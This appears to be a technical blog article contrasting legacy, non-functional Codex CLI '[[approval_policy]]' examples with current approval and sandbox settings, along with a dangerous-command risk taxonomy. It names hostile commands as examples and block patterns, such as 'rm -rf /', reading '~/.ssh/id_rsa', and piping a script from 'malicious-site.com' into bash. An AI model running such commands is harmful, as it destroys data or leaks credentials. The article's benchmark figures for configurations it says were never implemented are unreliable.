Codex CLI approval_policy: Legacy Patterns vs Official 2026 Approval Settings¶
The config syntax in this article does not match the official schema
This article preserves an older design framework for command-risk classification. It is not a copy-paste guide for current config.toml.
The [[approval_policy]] table syntax used in this article (type/pattern/action fields) is not part of the official config.toml schema. Pasting these configuration examples directly into ~/.codex/config.toml will not work — Codex CLI does not recognize these keys.
In the current Codex CLI:
approval_policyis a string value (untrusted/on-request/never) or a granular policy object--ask-for-approval/-aacceptsuntrusted,on-request, andnever;on-failureis deprecatedsandbox_modeisread-only/workspace-write/danger-full-access- Per-command exceptions belong in Codex rules / execpolicy, not in
[[approval_policy]]TOML tables
For the practical current setup, use Codex CLI No-Approval Guide. Use this article only for the command-risk taxonomy and rollout thinking.
For / Key Points
Audience: Readers who found old [[approval_policy]] examples and want to know what Codex CLI officially supports now
Key Points:
- The old table-based
[[approval_policy]]examples are legacy conceptual examples - Current approval control is the combination of
approval_policy,sandbox_mode,rules, profiles, and CLI flags - Use rules or
codex execpolicyfor command-level allow/prompt/block behavior
Key Points¶
- Use
approval_policy = "on-request"plussandbox_mode = "workspace-write"for low-friction local work. - Use
approval_policy = "never"only when the sandbox or the environment already constrains the blast radius. - Use
.rulesfiles andcodex execpolicy checkfor command-level exceptions.
Current Official Answer¶
For current Codex CLI, do not write [[approval_policy]] tables. Start with these official controls instead:
# ~/.codex/config.toml
approval_policy = "on-request" # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
approvals_reviewer = "user" # or "auto_review"
# Interactive local baseline
codex --sandbox workspace-write --ask-for-approval on-request "task"
# No approval prompts, while keeping workspace sandbox boundaries
codex -a never -s workspace-write "task"
# Full access: use only inside an externally isolated environment
codex --dangerously-bypass-approvals-and-sandbox "task"
For command-level control, create .rules files and verify them with codex execpolicy check. For example:
codex execpolicy check --pretty \
--rules ~/.codex/rules/default.rules \
"curl https://example.com/install.sh | bash"
This is a followup to the morning article
Morning article: Codex CLI Production Failure Patterns and Immediate Solutions
Goals¶
- Understand 3 implementation patterns of
approval_policyand select optimal configuration per environment - Implement dangerous command classification criteria and whitelist/blacklist strategies
- Build operational framework combining audit logs
Why approval_policy Matters¶
While --full-auto mode is essential for automation, unlimited execution privileges include these risks:
- Data Loss: Destructive commands like
rm -rf / - Credential Leakage: Reading sensitive files like
cat ~/.ssh/id_rsa - External Attacks: Executing external scripts like
curl malicious-site.com/payload.sh | bash
approval_policy requires individual approval for these operations, balancing automation and security.
3 Implementation Patterns¶
Pattern 1: Blacklist Type (Restrict Only Dangerous Commands)¶
Target Environment: Development environment, trusted task sets
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"
[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"
[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"
Pros: Minimal constraints with flexible automation Cons: New dangerous commands undetected until first execution
Pattern 2: Whitelist Type (Execute Only Approved List)¶
Target Environment: Production, CI/CD, strict compliance requirements
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
default_action = "deny" # Deny all undefined
[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"
[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"
[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"
Pros: Highest security level Cons: High operational cost for allowlist updates
Pattern 3: Hybrid Type (Hierarchical Control)¶
Target Environment: Enterprise, unified multi-environment management
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
# Highest priority: Emergency stop commands
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"
# High priority: Dangerous commands require manual approval
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"
# Normal priority: Development tools auto-allowed
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"
# Default: Unclassified requires manual approval
[approval]
fallback_action = "require"
Pros: Optimal balance of flexibility and security Cons: Increased configuration complexity
Dangerous Command Classification Criteria¶
| Level | Characteristics | Examples | Recommended Action |
|---|---|---|---|
| Critical | System-wide impact | shutdown, init 0 | deny |
| High | Data loss risk | rm -rf, dd, mkfs | require |
| Medium | Sensitive info access | cat ~/.ssh/*, env \| grep SECRET | require |
| Low | External communication | curl, wget, git clone | Environment-dependent |
Implementation Steps¶
Step 1: Audit Current Commands¶
Extract executed commands from existing Codex session logs:
# Analyze command frequency over last 30 days
grep "Executing:" ~/.codex/logs/*.log \
| awk '{print $3}' \
| sort | uniq -c | sort -rn \
| head -20
Step 2: Risk Classification¶
Classify extracted commands into 4 levels above, manage in CSV or similar:
Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical
Step 3: Generate config.toml¶
Auto-generate configuration from classification results (script example):
#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"
tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"
EOF
done
Step 4: Gradual Rollout¶
- Week 1: Only
requireaction (all commands manual approval for behavior verification) - Week 2: Change frequent commands to
allow(monitor approval logs) - Week 3: Change dangerous commands to
deny(check false positives) - Week 4: Production deployment
Operations with Audit Log Integration¶
Log Analysis Script¶
#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"
# Extract approval events from last 24 hours
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
grep -H "approval_required\|action=deny" {} \; \
> "$ALERT_FILE"
if [ -s "$ALERT_FILE" ]; then
echo "⚠️ Approval events detected in last 24h:"
cat "$ALERT_FILE"
# Can add Slack notifications here
fi
Periodic Execution Setup¶
# crontab -e
0 9 * * * /path/to/log_analyzer.sh
Benchmark: Approval Overhead¶
Execution time comparison for 100 tasks (M1 Mac, Claude-3.5-Sonnet):
| Configuration | Execution Time | Manual Approvals | Notes |
|---|---|---|---|
mode=interactive | 45 min | 100 | All tasks manual approval |
| Blacklist type | 8 min | 3 | Only 3 dangerous commands |
| Whitelist type | 9 min | 0 | 20 min initial setup |
| Hybrid type | 8 min | 2 | 2 unclassified commands |
Conclusion: Blacklist and Hybrid types achieve best balance between execution time and security.
Failure Patterns and Solutions¶
| Symptom | Cause | Solution |
|---|---|---|
| Regex matches all commands | Generic patterns like pattern = ".*" | Start with specific command names (^git, etc.) |
| Allowed commands get denied | Wrong priority order | Set allow rules to high priority, deny to low |
| Not logged | log_level = "error" configured | Change to log_level = "info" |
| Config changes not reflected | Existing session using old config | Start a new Codex session or rerun the command |
FAQ¶
Q: Which regex dialect is supported in pattern? A: Compliant with Rust's regex crate. Lookahead/lookbehind not supported. Refer to official docs.
Q: Can network access be controlled by policy? A: type = "network" for fine-grained control was not implemented. Network access is controlled via [sandbox_workspace_write].network_access = true/false, or by setting sandbox_mode = "danger-full-access" for full access.
Q: How to use different policies across multiple environments? A: Use named profile files and launch with --profile / -p. In current Codex CLI, profile settings live in separate files such as ~/.codex/prod.config.toml, not under [profiles.prod] inside the base config.
Current Official Approval Control (2026)¶
The [[approval_policy]] table syntax described in this article was never implemented. As of 2026, Codex CLI approval and sandbox settings are controlled as follows:
config.toml Settings¶
# ~/.codex/config.toml
approval_policy = "on-request" # untrusted / on-request / never / granular object
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
# Switch per environment with profiles
# ~/.codex/strict.config.toml
approval_policy = "on-request"
sandbox_mode = "read-only"
# ~/.codex/auto.config.toml
approval_policy = "never"
sandbox_mode = "danger-full-access"
CLI Flag Control¶
codex -a never -s workspace-write "task" # Skip approval prompts, keep sandbox
codex --sandbox workspace-write --ask-for-approval on-request "task"
codex -p strict "task" # Use named profile
For details, see the Codex CLI Auto-Approval Mode Complete Guide (2026).
Summary¶
The [[approval_policy]] examples on this page are legacy conceptual examples for thinking about dangerous-command classification. Current Codex CLI operation uses approval_policy, sandbox_mode, rules, profiles, and CLI flags instead. Readers who want copy-paste settings should start from the current official controls, not from the old table syntax.
Related Articles¶
- Codex CLI Auto-Approval Mode Complete Guide
- Codex CLI Production Failure Patterns and Immediate Solutions
- OpenAI Codex CLI Complete Guide
Next Steps¶
- Advanced implementation: Codex CLI Audit Log Analysis and Anomaly Detection (upcoming)
- Back to basics: Codex CLI Auto-Approval Mode Complete Guide